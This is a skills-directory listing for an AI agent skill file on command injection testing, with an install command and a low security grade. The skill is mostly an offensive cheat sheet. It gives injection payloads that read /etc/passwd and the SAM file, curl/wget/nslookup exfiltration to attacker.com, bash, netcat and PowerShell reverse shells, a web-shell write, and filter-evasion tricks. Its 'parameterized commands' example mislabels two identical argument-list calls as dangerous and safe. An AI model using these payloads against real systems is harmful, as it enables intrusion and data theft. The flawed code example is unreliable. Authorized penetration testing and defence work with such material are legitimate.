Skip to content
Back to skills

Command Injection Testing

DSecurity

Command injection: separators, blind/OOB, argument injection

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 29, 2026
developmentpythonphpshellbashnodetestingapi

Works with

  • cli
  • api
  • mcp

Security analysis

D55/100
  • criticalPipes output to a shell interpreter
  • criticalPipes output to a shell interpreter
  • mediumUses curl or wget to download content
  • mediumUses curl or wget to download content
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned November 29, 2026

npx -y skills add blackfoxxx/kestrel --skill command-injection-testing --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Command Injection Testing?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Command Injection Testing
[![Security: D — Skills Directory](https://www.skillsdirectory.com/api/skills/blackfoxxx-command-injection-testing/badge)](https://www.skillsdirectory.com/skills/blackfoxxx-command-injection-testing)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: command-injection-testing
description: "Command injection: separators, blind/OOB, argument injection"
version: 1.0.0
mcps: autopen, pentest mcp
---

# Command Injection Vulnerability Testing

## Overview

Command injection is a vulnerability in which system commands are executed through an application. When an application passes user input directly to a system command, an attacker can execute arbitrary commands. This skill provides methods for detecting, exploiting, and defending against command injection.

## How the Vulnerability Works

When an application invokes a system command without adequately validating and filtering user input, an attacker can inject additional commands.

**Example of dangerous code:**
```php
// PHP
system("ping " . $_GET['ip']);

// Python
os.system("ping " + user_input)

// Node.js
child_process.exec("ping " + user_input)
```

## Testing Methods

### 1. Identifying Command Execution Points

**Common features:**
- Ping functionality
- DNS lookups
- File operations
- System information
- Log viewing
- Backup and restore

### 2. Basic Detection

**Testing command separators:**
```
;  # Command separator (Linux/Windows)
&  # Background execution (Linux/Windows)
|  # Pipe (Linux/Windows)
&& # Logical AND (Linux/Windows)
|| # Logical OR (Linux/Windows)
`  # Command substitution (Linux)
$() # Command substitution (Linux)
```

**Test payloads:**
```
127.0.0.1; id
127.0.0.1 && whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1 `whoami`
127.0.0.1 $(whoami)
```

### 3. Blind Command Injection

**Time-delay detection:**
```
127.0.0.1; sleep 5
127.0.0.1 && sleep 5
127.0.0.1 | sleep 5
```

**Out-of-band data exfiltration:**
```
127.0.0.1; curl http://attacker.com/?$(whoami)
127.0.0.1 && wget http://attacker.com/$(cat /etc/passwd)
```

**DNS exfiltration:**
```
127.0.0.1; nslookup $(whoami).attacker.com
```

## Exploitation Techniques

### Basic Command Execution

**Linux:**
```
; id
; whoami
; uname -a
; cat /etc/passwd
; ls -la
```

**Windows:**
```
& whoami
& ipconfig
& type C:\Windows\System32\drivers\etc\hosts
& dir
```

### File Operations

**Reading files:**
```
; cat /etc/passwd
; type C:\Windows\System32\config\sam
; head -n 20 /var/log/apache2/access.log
```

**Writing files:**
```
; echo "<?php phpinfo(); ?>" > /tmp/shell.php
; echo "test" > C:\temp\test.txt
```

### Reverse Shell

**Bash:**
```
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
```

**Netcat:**
```
; nc -e /bin/bash attacker.com 4444
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f
```

**PowerShell:**
```
& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

## Bypass Techniques

### Space Bypass

```
${IFS}id
${IFS}whoami
$IFS$9id
<>
%09 (Tab)
%20 (Space)
```

### Command Separator Bypass

**Encoding bypass:**
```
%3b (;)
%26 (&)
%7c (|)
```

**Newline bypass:**
```
%0a (newline)
%0d (carriage return)
```

### Keyword Filter Bypass

**Variable concatenation:**
```bash
a=w;b=ho;c=ami;$a$b$c
```

**Wildcards:**
```bash
/bin/c?t /etc/passwd
/usr/bin/ca* /etc/passwd
```

**Quote bypass:**
```bash
w'h'o'a'm'i
w"h"o"a"m"i
```

**Backslash:**
```bash
w\ho\am\i
```

**Base64 encoding:**
```bash
echo "d2hvYW1p" | base64 -d | bash
```

### Length Limit Bypass

**Using a file:**
```bash
echo "id" > /tmp/c
sh /tmp/c
```

**Using environment variables:**
```bash
export x='id';$x
```

## Tool Usage

### Commix

```bash
# Basic scan
python commix.py -u "http://target.com/ping?ip=127.0.0.1"

# Specify the injection point
python commix.py -u "http://target.com/ping?ip=INJECT_HERE" --data="ip=INJECT_HERE"

# Get a shell
python commix.py -u "http://target.com/ping?ip=127.0.0.1" --os-shell
```

### Burp Suite

1. Intercept the request
2. Send it to Intruder
3. Use a command injection payload list
4. Observe the response or time delay

## Verification and Reporting

### Verification Steps

1. Confirm that system commands can be executed
2. Verify the command execution results
3. Assess the impact (system control, data leakage, etc.)
4. Record a complete PoC
5. Enter confirmed vulnerabilities into the platform via the `report_finding` tool (the sole entry point for recording vulnerabilities on this platform), with fields covering location, type, severity, reproduction steps/PoC, and remediation advice

### Reporting Key Points

- Vulnerability location and input parameter
- Types of commands that can be executed
- Complete exploitation steps and PoC
- Remediation advice (input validation, parameterization, allowlisting, etc.)

## Protective Measures

### Recommended Approaches

1. **Avoid command execution**
   - Use APIs instead of system commands
   - Use library functions instead of commands

2. **Input validation**
   ```python
   import re
   
   def validate_ip(ip):
       pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
       if not re.match(pattern, ip):
           raise ValueError("Invalid IP")
       parts = ip.split('.')
       if not all(0 <= int(p) <= 255 for p in parts):
           raise ValueError("Invalid IP range")
       return ip
   ```

3. **Parameterized commands**
   ```python
   import subprocess
   
   # Dangerous
   subprocess.call(['ping', '-c', '1', user_input])
   
   # Safe - use an argument list
   subprocess.call(['ping', '-c', '1', validated_ip])
   ```

4. **Allowlist validation**
   ```python
   ALLOWED_COMMANDS = ['ping', 'nslookup']
   ALLOWED_OPTIONS = {'ping': ['-c', '-n']}
   
   if command not in ALLOWED_COMMANDS:
       raise ValueError("Command not allowed")
   ```

5. **Least privilege**
   - Run the application as a low-privilege user
   - Restrict filesystem access
   - Use chroot or container isolation

6. **Output filtering**
   - Limit the output content
   - Filter out sensitive information
   - Log command execution

## Notes

- Only perform testing in authorized test environments
- Avoid damaging the system
- Be mindful of command differences between operating systems
- Watch the scope of impact of command execution during testing

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in development →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.